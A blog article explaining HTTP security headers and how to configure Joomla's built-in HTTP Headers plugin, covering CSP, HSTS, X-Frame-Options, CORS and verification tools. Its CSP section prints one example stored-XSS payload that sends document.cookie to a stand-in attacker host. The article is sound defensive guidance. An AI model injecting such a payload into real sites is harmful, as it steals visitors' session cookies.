Skip to main content
HTTP Headers in Joomla

HTTP Headers in Joomla

28 April 2026

Every modern website talks to the browser through a quiet, invisible channel called HTTP headers. Most visitors never see them, but the browser reads them carefully and changes its behaviour based on what it finds.

A well-configured set of headers can block whole families of attacks - clickjacking, cross-site scripting, SSL stripping, and more - without changing a single line of your website code.

Since Joomla 4, the CMS ships with a built-in System - HTTP Headers plugin. It lets administrators set modern security headers from a simple form in the backend, with no need to edit .htaccess or web-server configuration.

How the Joomla HTTP Headers plugin protects your website

This article explains how HTTP headers work, which security problems they solve, what the Joomla plugin can and cannot do, and how to use it in practice. The goal is to help you turn your Joomla website into one of the safer places on the open web.

1. The Basics

1.1 What is an HTTP Header?

Every time a browser asks a web server for a page, two short pieces of metadata travel back and forth:

  • the request headers the browser sends
  • the response headers the server sends back

Headers are simple key-value pairs that sit above the actual HTML. The user never sees them, but the browser uses them to decide how to handle the page.

1.2 A Simple Example

When you open a page, the response from the server looks something like this:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Server: Apache

The first line is the status. The lines below it are response headers. Most security mechanisms on the modern web live in exactly these lines.

1.3 The Header Families

Not every header is about security. HTTP headers fall into roughly six categories:

CategoryExamplesPurpose
HTTP Status 200 OK, 404 Not Found Result of the request
General Date, Cache-Control Metadata for both sides
Request User-Agent, Cookie What the browser sends
Response Server, Content-Type What the server sends back
Entity Content-Encoding, Last-Modified Information about the body
Security Content-Security-Policy, Strict-Transport-Security The focus of this article

This article focuses on the last row: security headers.

2. Why HTTP Headers Matter for Security

2.1 The Browser is the Last Line of Defence

Even a perfectly coded website can be attacked through the browser. Some common examples:

  • A stolen cookie used to hijack a session.
  • An iframe that wraps your site inside a fake one.
  • An injected script that steals form data.
  • A man-in-the-middle attacker who downgrades HTTPS to HTTP.

2.2 What Security Headers Do

Response headers let the server tell the browser things like:

  • "Never load me over plain HTTP again."
  • "Do not allow other sites to embed me."
  • "Only execute scripts from these trusted sources."
  • "Do not leak the referring URL to third parties."

A misconfigured header is a free vulnerability. A well-configured header is free defence-in-depth. That is the simple promise of this topic.

3. Where Can You Set HTTP Headers?

There are five places in a typical Joomla stack where a response header can be added. They all reach the browser, but choosing the right place matters for clarity and maintenance.

3.1 Web-Server Configuration (Apache or NGINX)

add_header X-Frame-Options "SAMEORIGIN" always;

3.2 The .htaccess File

Header set X-Frame-Options "SAMEORIGIN"

3.3 PHP Code

header('X-Frame-Options: SAMEORIGIN');

3.4 HTML Meta Tag (CSP Only)

<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' https://example.com">

Important: most security headers cannot be set from a <meta> tag. Only Content-Security-Policy can. For everything else you need server config, PHP, or the Joomla plugin.

3.5 The Joomla HTTP Headers Plugin

The plugin is a GUI in the Joomla administrator. No files to edit, no server access needed. This is what makes Joomla stand out compared to many other CMS platforms.

4. Meet the Joomla HTTP Headers Plugin

4.1 What it is

The plugin is a System plugin that ships in core Joomla since version 4.0. Its key details:

  • Name: plg_system_httpheaders
  • Location: plugins/system/httpheaders
  • Author: the Joomla! Project
  • Enabled by default since Joomla 4.0

4.2 How it Works

The plugin hooks into the onAfterInitialise event and sets the configured response headers before Joomla sends any output. You manage everything from:

System → Manage → Plugins → System - HTTP Headers

4.3 The Three Configuration Tabs

The plugin form is organised into three tabs:

  1. Basic - the everyday headers most sites need.
  2. Strict-Transport-Security (HSTS) - force HTTPS.
  3. Content-Security-Policy (CSP) - the heavy artillery.

4.4 Headers the Plugin Can Set

  • X-Frame-Options
  • Referrer-Policy
  • Cross-Origin-Opener-Policy
  • Strict-Transport-Security
  • Content-Security-Policy
  • Content-Security-Policy-Report-Only
  • Permissions-Policy
  • Feature-Policy
  • Expect-CT
  • Report-To
  • NEL

4.5 Headers the Plugin Does NOT Set

The plugin is excellent but not complete. These headers still need server configuration or another Joomla setting:

  • X-Content-Type-Options - MIME-sniffing protection (see section 5.4).
  • Access-Control-Allow-Origin - CORS, handled in Global Configuration (see section 5.6).
  • Cache-Control
  • Cookie flags such as Secure, HttpOnly, and SameSite.

Knowing what the plugin does not cover is as important as knowing what it does.

5. The Security Headers, One by One

Each security header solves a specific problem. The examples below show the attack first and the header that blocks it second.

5.1 X-Frame-Options (Clickjacking)

The attack: An attacker loads your site inside an iframe on evil.example.com and draws an invisible button layer on top. The visitor thinks they are clicking your "Like" button, but they are actually clicking the attacker's "Transfer money" button on your site. This is called clickjacking or UI redressing.

The fix: Tell the browser that other sites are not allowed to embed you.

X-Frame-Options: SAMEORIGIN

Possible values:

  • DENY - never embedded.
  • SAMEORIGIN - only your own pages may embed you (the Joomla default).

5.2 Referrer-Policy (Information Leak)

The attack: A visitor on https://your-site/account/order/12345 clicks a link to a partner site. The browser tells the partner site: "this visitor came from /account/order/12345". The URL itself can leak order IDs, search terms, or tokens.

The fix: Tell the browser how much referrer information it may share.

Referrer-Policy: strict-origin-when-cross-origin

Common values:

  • no-referrer - share nothing.
  • same-origin - share full URL inside the site, nothing to outsiders.
  • strict-origin - share only https://your-site/ without the path.
  • strict-origin-when-cross-origin - full URL internally, just origin externally (Joomla default).
  • no-referrer-when-downgrade - share unless going from HTTPS to HTTP.

The default is already privacy-friendly. Only loosen it when an analytics provider clearly needs more.

5.3 Cross-Origin-Opener-Policy / COOP (Tab Isolation)

The attack: A visitor opens your site in tab 1 and evil.example.com in tab 2. The evil site calls window.opener and tries to read or manipulate tab 1. Side-channel attacks like Spectre can leak data across tabs.

The fix: Isolate your tab from any cross-origin opener.

Cross-Origin-Opener-Policy: same-origin

Values:

  • same-origin - full isolation (Joomla default).
  • same-origin-allow-popups - isolate, but let popups you open behave normally.
  • unsafe-none - no isolation.

COOP is one of those headers nobody talks about, yet it is on by default in Joomla and silently shuts down a whole class of cross-tab attacks.

5.4 X-Content-Type-Options (MIME Sniffing)

The attack: A visitor uploads avatar.png, but the file is actually JavaScript with a fake .png extension. Another visitor opens a page that links to /avatar.png. The browser sniffs the content, decides it looks like JavaScript, and executes it. The attacker now has a stored XSS.

The fix: Tell the browser to trust the Content-Type header and never guess.

X-Content-Type-Options: nosniff

There is only one valid value: nosniff.

The Joomla plugin does not set this header. You must set it yourself in .htaccess:

Header always set X-Content-Type-Options "nosniff"

Or in NGINX:

add_header X-Content-Type-Options "nosniff" always;

This is the simplest and cheapest security header. Do not forget it.

5.5 Permissions-Policy (Browser Features)

The attack: Your page embeds an iframe from a third party. The iframe pops up an "allow camera?" prompt. The visitor thinks the prompt is from you and clicks Allow. The third-party site now has camera access on your domain.

The fix: Declare which browser features are allowed, and which iframes may use them.

Permissions-Policy:
  camera=(),
  microphone=(),
  geolocation=(self),
  payment=(self "https://checkout.example.com"),
  usb=(),
  accelerometer=()

Common features include camera, microphone, geolocation, payment, usb, fullscreen, accelerometer, gyroscope, magnetometer, and autoplay.

You can add this header in the plugin under Basic → Additional HTTP Headers. Pick Permissions-Policy, paste the value, and select Site, Administrator, or Both.

Tip: Permissions-Policy is the modern replacement for the older Feature-Policy. Set everything you do not use to empty ().

5.6 Cross-Origin Resource Sharing (CORS)

The attack: A registered visitor is logged in to your site. Without logging out, they visit evil.example.com. The evil site runs a script that calls fetch('https://your-site/api/...'). The browser sends the call with the user's session cookie. Without CORS rules, your API happily replies.

The fix: The browser enforces the same-origin policy by default. CORS lets you relax it carefully, by name, when you have a legitimate need (for example, a JavaScript single-page app on a different domain).

CORS is not the HTTP Headers plugin's job. Joomla has a separate switch:

System → Global Configuration → Server tab → Web Services → Enable CORS = Yes

This adds the Access-Control-Allow-Origin response header to Web Service and API endpoints.

Leave CORS OFF unless you actually have a cross-origin JavaScript client. Turning it on without restricting origins makes your API world-readable.

5.7 Strict-Transport-Security (HSTS)

The attack: Your site is normally served over HTTPS. One day, due to a misconfiguration, it briefly serves HTTP. An attacker on public Wi-Fi performs an SSL-stripping man-in-the-middle attack. The visitor submits a login form unencrypted and credentials leak.

The fix: Tell the browser to always load you over HTTPS, even if the user types http://.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Options:

  • max-age=31536000 - remember for one year (Joomla default).
  • includeSubDomains - apply to every subdomain too.
  • preload - request inclusion in browsers' built-in HSTS list.

The browser stores the domain in its HSTS cache. The next time anyone types http://your-site/, the browser internally rewrites the URL to https://your-site/ before the request leaves the device.

Warning: HSTS is sticky. If you enable preload and lose your SSL certificate, visitors will be locked out for months. Always test with a short max-age (for example, 300 seconds) first.

6. Content-Security-Policy (CSP) in Depth

6.1 The Attack CSP Stops

Your site runs an old third-party comments extension with a stored-XSS bug. A malicious visitor posts a comment that contains:

<script>fetch('//attacker.com?c='+document.cookie)</script>

Every visitor who reads the comment executes the attacker's script. Their cookies, including their session, are stolen.

6.2 What CSP Does

CSP tells the browser exactly which sources it may load scripts, styles, fonts, images, and iframes from. Anything else is blocked.

Content-Security-Policy:
  default-src 'self';
  script-src  'self' https://stats.example.com/matomo.js;
  style-src   'self' 'unsafe-inline';
  img-src     'self' data: https://i.ytimg.com;
  connect-src 'self' https://stats.example.com;
  frame-src   'self' https://www.youtube.com;
  base-uri    'self';
  form-action 'self';
  frame-ancestors 'self';

6.3 Common Directives

DirectiveWhat it controls
default-src Fallback for everything below.
script-src, style-src Where JavaScript and CSS may load from.
img-src, font-src Where images and fonts may load from.
connect-src Endpoints for fetch, XHR, and WebSockets.
frame-src, frame-ancestors Which iframes you embed and which sites may embed you.
form-action Where HTML forms may post.
upgrade-insecure-requests Auto-upgrade HTTP to HTTPS on the page.

6.4 Enforced vs Report-Only Mode

CSP runs in two modes:

  • Content-Security-Policy - the browser blocks violations.
  • Content-Security-Policy-Report-Only - the browser only logs violations.

The Joomla plugin defaults to Report-Only, and for good reason. A strict CSP on day one will break templates, Google Fonts, Maps, YouTube embeds, and probably your favourite editor's button.

6.5 Recommended Workflow

  1. Enable CSP in Report-Only mode.
  2. Browse your site and watch the browser console.
  3. Add legitimate sources one by one.
  4. Switch to enforced mode only when the report log is silent.

Tip: the Chrome extension "Content Security Policy (CSP) Generator" can build a starting policy automatically.

6.6 Nonces, Hashes, and strict-dynamic

Many Joomla templates and extensions emit small inline <script> blocks. A strict CSP blocks those by default. There are three ways to allow them safely.

Option A - Nonces. The plugin generates a random per-request token, and the browser only executes inline scripts that carry the same token as a nonce attribute.

script-src 'nonce-AbC123...' 'self';
<script nonce="AbC123...">
  // trusted inline script
</script>

Enable this with Nonce Enabled in the plugin.

Option B - Hashes. The plugin computes a SHA-256 hash of every inline script or style and inserts the hash into the header.

script-src 'sha256-AbC123...' 'self';

Toggles: Script Hashes Enabled and Style Hashes Enabled. The placeholders {script-hashes} and {style-hashes} are replaced at runtime.

Option C - strict-dynamic. Trust scripts loaded by an already-trusted script. Modern and flexible, but unforgiving on legacy sites.

script-src 'strict-dynamic' 'nonce-AbC123...';

Nonces and hashes are the right answer for a Joomla site with many third-party extensions.

7. Client Targeting: Site vs Administrator

7.1 A Unique Feature of the Joomla Plugin

Every header can be set for one of three targets:

  • The front-end (Site).
  • The back-end (Administrator).
  • Both.

7.2 Why This Matters

You usually want a stricter CSP in the admin, where there is no user-generated content, and a looser CSP on the front-end, where editors paste YouTube, Twitter, Matomo, and other embeds.

Inside the plugin the check looks like this (simplified):

if (!$this->getApplication()->isClient($cspValue->client)
    && $cspValue->client != 'both') {
    continue;
}

A practical example: set frame-src 'none' only for Administrator while keeping YouTube embeds available on the front-end.

8. Reporting: NEL and Report-To

8.1 What They Do

Modern browsers can phone home when something goes wrong:

  • NEL (Network Error Logging) - reports failed requests, DNS errors, and TLS handshake failures.
  • Report-To - declares endpoints where the browser sends NEL and CSP violation reports.

8.2 Example

Report-To: {"group":"default","max_age":10886400,
            "endpoints":[{"url":"https://reports.example.com/r"}]}
NEL: {"report_to":"default","max_age":10886400,"include_subdomains":true}

CSP without reporting is shouting into the void. Free reporting backends exist, for example report-uri.com.

9. Under the Hood (Developer View)

9.1 Event-Driven Architecture

The plugin implements SubscriberInterface and subscribes to two events:

public static function getSubscribedEvents(): array
{
    return [
        'onAfterInitialise' => 'setHttpHeaders',
        'onAfterRender'     => 'applyHashesToCspRule',
    ];
}

9.2 The Lifecycle

  1. Construct - if nonces are enabled, generate 64 random bytes, base64-encode them, and store as csp_nonce on the application.
  2. onAfterInitialise - build the header list from plugin parameters and call $app->setHeader() for each one.
  3. onAfterRender - walk the rendered head data, hash every inline script and style, then replace the {script-hashes} and {style-hashes} placeholders inside the CSP header.

Two events are needed because CSP hashes can only be computed after Joomla has rendered the page. Everything else can be set early.

9.3 The Source Code Layout

plugins/system/httpheaders/
├── httpheaders.xml          (manifest + form fields)
├── postinstall/
│   └── introduction.php     (post-install message)
├── services/
│   └── provider.php         (DI service registration)
└── src/
    └── Extension/
        └── Httpheaders.php  (the plugin class)

9.4 The Supported Header Allow-List

The plugin keeps a hard-coded list of headers it is willing to set:

private $supportedHttpHeaders = [
    'strict-transport-security',
    'content-security-policy',
    'content-security-policy-report-only',
    'x-frame-options',
    'referrer-policy',
    'expect-ct',
    'feature-policy',
    'cross-origin-opener-policy',
    'report-to',
    'permissions-policy',
    'nel',
];

An administrator cannot accidentally inject an arbitrary or malformed header. The form acts as a safety net. Note what is missing from this list: x-content-type-options. That is exactly why section 5.4 matters.

10. HTTP/2, HTTP/3, and Headers

Do headers still apply on newer versions of HTTP? Yes. HTTP/2 and HTTP/3 keep the same header semantics. They only change how headers are transported.

AspectHTTP/1.1HTTP/2HTTP/3
Header format Plain text Binary, HPACK compressed Binary, QPACK compressed
Transport TCP TCP (multiplexed) QUIC over UDP
Header concept Identical Identical Identical

Everything you configure in the Joomla plugin works the same way in HTTP/1.1, HTTP/2, and HTTP/3.

11. Common Mistakes and Pitfalls

11.1 "My Site Broke After I Enabled CSP"

This is almost certain to happen on a typical Joomla site. Switch to Report-Only and add sources one by one until the console is silent.

11.2 "Google Fonts, Analytics, or Maps No Longer Work"

Add the right domains to your CSP:

style-src  'self' https://fonts.googleapis.com;
font-src   'self' https://fonts.gstatic.com;
script-src 'self' https://www.googletagmanager.com;

11.3 "HSTS Broke My Staging Site"

HSTS is set per hostname. Use a separate subdomain for staging, or a low max-age (for example, 300) during testing.

11.4 "The Plugin Set the Header but the Browser Ignores It"

Check whether your reverse proxy or .htaccess sets the same header. Whichever runs last wins, and proxies usually win. Remove the duplicate at the server level.

11.5 "I See the Header Twice"

A CDN such as Cloudflare or a load balancer may add its own copy. Inspect with curl -I from both outside and inside the network to find the source.

In practice, around 80% of security-header incidents come from duplicate or contradictory headers, not from the plugin itself.

12. Verifying Your Headers

12.1 In the Browser

  1. Open the page in Google Chrome.
  2. Right-click and choose Inspect.
  3. Open the Network tab.
  4. Click the HTML document request.
  5. Read the Response Headers panel.

12.2 On the Command Line

curl -I https://your-site.example

12.3 Online Scanners

  • securityheaders.com - quick grade A to F.
  • observatory.mozilla.org - deeper score with recommendations.
  • csp-evaluator.withgoogle.com - finds weak CSP directives.
  • hstspreload.org - apply for the HSTS preload list.

12.4 Local Tools

  • OWASP ZAP - full security scan, including header checks.
  • Chrome extension Content Security Policy (CSP) Generator.

13. A Recommended Starting Configuration

13.1 Conservative Profile (Low Breakage)

A safe set of headers to start with on most Joomla sites:

HeaderValueSet in
X-Frame-Options SAMEORIGIN Plugin, both
Referrer-Policy strict-origin-when-cross-origin Plugin, both
Cross-Origin-Opener-Policy same-origin Plugin, both
Strict-Transport-Security max-age=31536000; includeSubDomains Plugin, both (after HTTPS is stable)
Content-Security-Policy start in Report-Only Plugin, site
Permissions-Policy camera=(), microphone=(), geolocation=() Plugin, both
X-Content-Type-Options nosniff .htaccess (plugin cannot do this)
CORS OFF unless needed Global Configuration → Web Services

13.2 Aggressive Profile (After Tuning)

When you have spent a week tuning your CSP, you can move on to:

  • CSP enforced with nonces enabled.
  • frame-ancestors 'self' in CSP.
  • upgrade-insecure-requests in CSP.
  • HSTS preload submitted at hstspreload.org.

Ship the conservative profile to clients on day one. Promise the aggressive profile only after a CSP-tuning week.

14. Best Practices and Quick Reference

If you only remember a few things from this article, remember these:

  • Enable the HTTP Headers plugin. It is already in core Joomla.
  • Start CSP in Report-Only mode and tune it for a week.
  • Add X-Content-Type-Options: nosniff in .htaccess. The plugin cannot do this for you.
  • Keep CORS OFF unless you really need it.
  • Test HSTS with a low max-age before going to one year.
  • Use site-only vs admin-only targeting to keep editors happy.
  • Verify with curl -I and securityheaders.com.

Cheat Sheet

ENABLE       Extensions → Plugins → System - HTTP Headers
TARGETS      Site / Administrator / Both per header
CLICKJACK    X-Frame-Options: SAMEORIGIN
REFERRER     Referrer-Policy: strict-origin-when-cross-origin
TAB SAFETY   Cross-Origin-Opener-Policy: same-origin
HTTPS LOCK   Strict-Transport-Security: max-age=31536000
FEATURES     Permissions-Policy: camera=(), microphone=()
XSS BLOCK    Content-Security-Policy (start Report-Only)
INLINE JS    Nonce Enabled or Script Hashes Enabled
MIME GUARD   X-Content-Type-Options: nosniff  (in .htaccess!)
CORS         Global Configuration → Web Services
VERIFY       curl -I  +  securityheaders.com

15. Summary

HTTP headers are the silent conversation between server and browser. They influence almost every security control on the modern web:

  • Clickjacking blocked by X-Frame-Options.
  • URL leakage reduced by Referrer-Policy.
  • Cross-tab attacks stopped by COOP.
  • MIME-sniffing XSS prevented by X-Content-Type-Options.
  • Rogue iframe APIs shut down by Permissions-Policy.
  • Cross-origin API abuse controlled by CORS.
  • SSL stripping stopped by HSTS.
  • Stored and reflected XSS contained by CSP.

Most other CMS platforms require an extra extension, a paid service, or manual .htaccess edits to ship modern security headers. Joomla 4, 5, and 6 give you a UI, safe defaults, per-client targeting, automatic CSP nonces and hashes, and all of it at zero cost.

You do not need to be a security engineer. Enable the plugin, add nosniff in .htaccess, switch CSP to Report-Only, watch the log for a week, and grade yourself on securityheaders.com. Joomla protects you out of the box. Tune the HTTP Headers plugin, leave CORS off unless needed, and your site will sit in the top 5% of the open web for security posture.

Security is not a feature. It is a habit. The plugin makes the habit easy.

HTTP Headers in Joomla
Peter Martin

Joomla en Linux specialist voor snelle, veilige en schaalbare websites.

© Peter Martin / db8 Website Support. All rights reserved.